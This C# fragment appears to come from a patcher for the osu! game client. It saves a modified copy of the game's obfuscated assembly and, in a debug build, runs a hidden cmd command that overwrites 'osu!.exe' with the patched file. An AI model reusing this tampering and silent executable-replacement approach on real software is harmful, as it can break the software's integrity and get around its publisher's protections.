XConsole.PrintInfo($"Saving assembly as {filename}"); try { _obfOsuModule.Write(Path.Combine(Path.GetDirectoryName(_obfOsuPath), filename), new ModuleWriterOptions(_obfOsuModule) { MetadataOptions = { Flags = DEFAULT_METADATA_FLAGS } }); } catch (Exception ex) { return(Exit(XConsole.Fatal("Unable to save patched assembly! Details:\n" + ex))); } _cleanOsuModule.Dispose(); _obfOsuModule.Dispose(); #if DEBUG Console.ReadKey(true); #endif #if LIVE_DEBUG Process.Start(new ProcessStartInfo { FileName = "cmd", Arguments = "/c timeout /T 1 /NOBREAK & move /Y \"osu!-osupatch.exe\" \"osu!.exe\"", WorkingDirectory = Environment.CurrentDirectory, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = false }); #endif return(overallSuccess ? 0 : 1); }